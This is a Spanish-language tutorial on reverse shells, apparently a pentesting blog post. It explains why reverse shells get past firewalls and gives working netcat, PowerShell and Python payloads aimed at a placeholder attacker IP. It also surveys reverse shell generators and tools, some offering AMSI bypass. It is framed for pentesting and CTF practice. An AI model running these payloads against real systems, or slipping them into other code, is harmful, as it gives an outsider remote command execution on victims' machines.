En una bind shell convencional, el atacante se conecta a un puerto abierto en la máquina víctima. Pero si la víctima está detrás de un firewall, NAT o no tiene puertos expuestos, esto puede ser imposible.
La reverse shell resuelve esto haciendo que la víctima inicie la conexión de salida hacia el atacante, quien está escuchando en su máquina. Como las conexiones salientes suelen estar permitidas por el firewall, este método tiene más éxito.
nc -lvp 4444
Reverse Shell script
nc -lvp 4444.Netcat — Linux o Windows
# Desde la víctima (conecta al atacante) nc <IP_DEL_ATACANTE> 4444 -e /bin/bash # Desde el atacante (listener) nc -lvp 4444
-e. En ese caso usar ncat o scripts alternativos.PowerShell — Windows
$client = New-Object System.Net.Sockets.TCPClient("IP_DEL_ATACANTE",4444); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String); $sendback2 = $sendback + "PS " + (pwd).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush() } $client.Close()
Python
import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("IP_DEL_ATACANTE",4444)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"])
rev.py y ejecútalo en la máquina víctima: python3 rev.py- Pruebas de penetración: verificar si un sistema puede ser comprometido tras la ejecución de código malicioso.
- CTFs (Capture The Flag): retos en los que se gana una shell en la máquina remota como objetivo del reto.
- Persistencia: un atacante puede usar una reverse shell para mantener acceso prolongado a un sistema comprometido.
- Pivoting: conectarse a máquinas intermedias en una red interna desde el punto de entrada inicial.
- Visibilidad en la red: puede ser detectada por IDS/IPS si no está cifrada.
- No persistente: si la conexión se cae, se pierde el acceso (a menos que se use un mecanismo de persistencia).
- Limitado por AV/firewalls: los antivirus pueden detectar patrones comunes como
nc.exeobash -i.
- Reverse Shell sobre HTTPS o DNS para evadir firewalls que bloquean puertos no estándar.
- Meterpreter (Metasploit): shell avanzada con capacidades integradas de post-explotación.
- C2 Frameworks como Cobalt Strike o Sliver para operaciones de Red Team persistentes y sigilosas.
Características: URL Encode, Base64, doble URL · modos: oscuro, claro, meme mode
Proporciona la IP del listener (atacante) y el puerto de escucha — se genera automáticamente el comando del listener y el payload de reverse shell. Ejecuta el payload en la víctima y el listener en el atacante.
// revshells.com — interfaz principal con IP/puerto y payload generado
// revshells.com — opciones de listener: powercat, busybox nc, socat, netcat · múltiples OS
// revshells.com — HoaxShell: payload PowerShell para Windows
Accede al sitio → clic en 'RevShell' en la barra de menú → introduce LHOST y LPORT → clic en 'Enviar'. Genera el listener y múltiples comandos de reverse shell para distintos sistemas operativos.
// tex2e generator — LHOST/LPORT y payloads generados para múltiples SO
| Elemento | Valor |
|---|---|
| Tipo | Extensión Firefox para pruebas de seguridad web |
| ¿Qué incluye? | Reverse shells, payloads XSS/SQLi/LFI, codificadores Base64, generador de hashes, comandos Linux, feeds CVE/ExploitDB |
| Modo de uso | Popup o panel DevTools (F12) |
| Ventaja principal | Centraliza herramientas frecuentes de pentesting — sin buscar en múltiples sitios |
| Utilidad en CTF | Muy alta — agiliza pruebas sobre objetivos web |
Funcionalidades principales: generador dinámico de reverse shells (PHP, Bash, Python, Ruby, Perl, Netcat), TTY Shell Spawning, XSS/SQLi/LFI payloads, codificadores Base64, hashes MD5/SHA1/SHA256/SHA512/SM3, port-forwarding SUID, feeds ExploitDB y CVE.
// HackTools — extensión instalada en Firefox
// HackTools — generador de Reverse Shell con LHOST/LPORT y tipo de shell
// HackTools — PHP Reverse Shell generator
shellz.# Desde GitHub git clone https://github.com/4ndr34z/shells cd shells ./install.sh # O desde BlackArch pacman -S shellz
netcat, rlwrap, jq, basenc (coreutils). Opcionales: updog, ngrok, xclip.Flujo de uso interactivo
./install.sh y lanzar la herramienta.| Beneficio | Descripción |
|---|---|
| Rapidez | Genera reverse shells configuradas y funcionales en segundos. |
| Versatilidad | Compatible con múltiples entornos: Windows, Linux, sin Python. |
| Automatización | Payloads avanzados con AMSI bypass, Updog y ngrok integrados. |
| CTF-ready | Muy utilizado cuando el tiempo es crítico en retos de CTF. |
// Shellz — instalación y arranque desde GitHub
// Shellz — selección del tipo de shell (opción 3 = Bash)
// Shellz — configuración del tipo de IP (local/ngrok)
// Shellz — elegir codificación del payload (opción 1 = sin codificar)
// Shellz — payload generado + selección de listener (netcat = 1)
// Shellz — sesión reverse shell establecida con éxito
// Resultados de búsqueda de generadores de reverse shell disponibles en internet
httpd o php lanza un proceso hijo bash o sh.